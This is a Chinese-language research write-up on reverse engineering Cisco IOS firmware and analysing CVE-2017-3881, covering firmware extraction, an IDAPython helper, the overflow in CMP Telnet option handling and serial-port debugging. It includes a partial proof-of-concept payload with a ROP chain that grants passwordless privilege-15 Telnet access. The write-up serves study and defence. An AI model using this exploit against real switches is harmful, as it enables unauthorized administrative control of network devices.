从CVE-2017-3881看Cisco IOS逆向
字数 1821 2025-08-06 18:07:44
Cisco IOS逆向分析与CVE-2017-3881漏洞研究
0x00 前言
本文档详细记录了对Cisco IOS系统的逆向分析方法,并以CVE-2017-3881漏洞为例,深入剖析了Cisco集群管理协议(CMP)的安全问题。内容涵盖固件提取、逆向工程、漏洞分析、利用开发和调试技术。
0x01 漏洞描述
CVE-2017-3881是Cisco IOS和IOS XE软件中集群管理协议(CMP)处理代码的漏洞,允许未经认证的远程攻击者重新加载设备或执行特权代码。漏洞成因:
- CMP协议错误地将Telnet选项处理扩展到所有Telnet连接,而非仅限于集群内部通信
- 对特定CMP Telnet选项的错误处理
影响设备包括:
- Catalyst交换机系列
- Embedded Service 2020交换机
- 增强型第2/3层EtherSwitch服务模块
- IE工业以太网交换机等
思科错误ID:CSCvd48893
0x02 CMP协议分析
CMP(集群管理协议)是Cisco设备集群内部通信的协议:
- 集群由共享配置信息的设备组成
- 使用虚拟IP地址(CMP地址)进行内部通信
- 外部通信使用普通IP地址
- 命令交换机在CMP和TCP/IP协议间转换
关键点:
- CMP地址不响应ping
- 集群内部使用Telnet作为信令和命令协议
0x03 环境搭建
交换机基本配置
- 配置VLAN接口:
Switch# configure terminal
Switch(config)# interface vlan 1
Switch(config-if)# ip address 192.168.1.1 255.255.255.0
Switch(config-if)# no shutdown
Switch(config-if)# end
- 分配端口给VLAN:
Switch(config)# interface GigabitEthernet 0/1
Switch(config-if)# switchport access vlan 1
Switch(config-if)# end
- 配置Telnet服务:
Switch(config)# line vty 0 4
Switch(config-line)# login
Switch(config-line)# password 111111
固件提取
通过FTP获取固件:
Switch# copy flash:c2960-lanbasek9-mz.122-55.SE11.bin ftp://username:password@192.168.1.1
0x04 固件逆向分析
固件结构
- 文本段基址:0x00003000
- 数据段基址:0x01900000
- 架构:32位大端PowerPC(PPC)
逆向工具选择
-
Ghidra:适合分析解压后的70文件
- 设置入口点(entrypoint)
- 配置内存映射(Memory Map)
- 分割数据段和代码段
-
IDA Pro:需要辅助脚本识别函数
- 使用IDAPython自动识别PPC函数
- 手动设置数据段和权限
IDAPython函数识别脚本
import idc
import struct
import idautils
def find_all(opcode_str):
ret = []
ea = idc.find_binary(0, 1, opcode_str)
while ea != idc.BADADDR:
ret.append(ea)
ea = idc.find_binary(ea + 4, 1, opcode_str)
return ret
def define_functions():
prologues = ["stwu", "lhz", "li", "cmpwi", "lis"]
print("Finding all signatures")
ea = 0
opcodes = set()
funcea = idc.get_segm_start(ea)
while (funcea < idc.get_segm_end(ea)):
dis_text = idc.generate_disasm_line(funcea, 1)
we_like_it = False
for prologue in prologues:
if prologue in dis_text:
we_like_it = True
if we_like_it:
opcodes.add(idc.Dword(funcea))
funcea += 4
funcea += 1
while len(opcodes) > 0:
opcode_bin = opcodes.pop()
opcode_str = hex(opcode_bin)
matches = find_all(opcode_str)
for matchea in matches:
if not idc.get_func_name(matchea):
idc.create_insn(matchea)
idc.add_func(matchea)
0x05 漏洞分析
漏洞定位
关键字符串:"CISCO_KITS"
char * FUN_0004ecf0(void) {
return "CISCO_KITS";
}
漏洞函数分析
漏洞位于格式化字符串处理函数中,关键问题:
- 两个
%s格式化字符串无长度检查 - 循环复制数据时无边界检查
for (j = *v16; j != ':'; j = *v16) {
v22[v15++] = j;
++v16;
}
溢出长度:0x70+4=0x74(116字节)
利用技术
由于PPC架构限制,采用ROP技术:
- 覆盖关键函数指针,使其返回特定值
- 利用多个gadget构造调用链
- 最终修改telnet权限检查逻辑
关键gadget示例:
- 0x000037b4: 加载寄存器并返回
- 0x00dffbe8: 存储寄存器值
- 0x0006788c: 加载寄存器并返回
0x06 漏洞利用
PoC代码结构
payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116 # padding
payload += '\x00\x00\x37\xb4' # first gadget
payload += '\x02\x2c\x8b\x74' # address of pointer
payload += '\x00\x00\x99\x80' # function that returns 1
payload += 'BBBB' # padding
payload += '\x00\xdf\xfb\xe8' # second gadget
... # additional ROP chain
利用效果
成功利用后,telnet服务将:
- 无需密码即可登录
- 直接获得特权模式(privilege 15)
0x07 调试技术
调试环境搭建
- 使用串口连接设备
- 发送"gdb kernel"命令启动调试模式
- 使用Python脚本与调试接口交互
调试脚本关键功能
def GdbCommand(command):
ser.write('{}'.format(checksum(command)))
if command == 'c':
return ''
out = ''
char = ''
while char != "#":
char = ser.read(1)
out = out + char
ser.read(2)
newrle = decodeRLE(out)
return newrle.decode()
支持功能:
- 寄存器读写
- 内存读写
- 断点设置
- 单步执行
- 内存转储
调试技巧
- 断点设置后,原始指令会被替换为trap指令
- 需要手动恢复原始指令
- 寄存器状态可能异常,需关注内存变化
0x08 总结
关键知识点
-
Cisco IOS逆向特点:
- 非标准固件格式
- PPC大端架构
- 需要手动设置代码/数据段
-
漏洞利用要点:
- 通过Telnet协议触发
- 利用格式化字符串漏洞
- PPC架构下的ROP构造
-
调试难点:
- 串口通信限制
- 调试命令响应解析
- 寄存器状态管理
防御建议
- 禁用不必要的Telnet服务
- 及时更新固件补丁
- 限制网络访问控制
- 使用SSH替代Telnet
附录
常用命令参考
| 命令 | 描述 |
|---|---|
| show version | 查看固件版本和内存布局 |
| copy flash:... ftp:... | 导出固件 |
| configure terminal | 进入配置模式 |
| interface vlan 1 | 配置VLAN接口 |
工具列表
-
逆向分析:
- Ghidra
- IDA Pro + PPC插件
- binwalk
-
调试工具:
- 串口调试脚本
- GDB(PPC版本)
- Putty(串口连接)
-
漏洞利用:
- Python Telnet客户端
- ROP gadget搜索工具(ropper)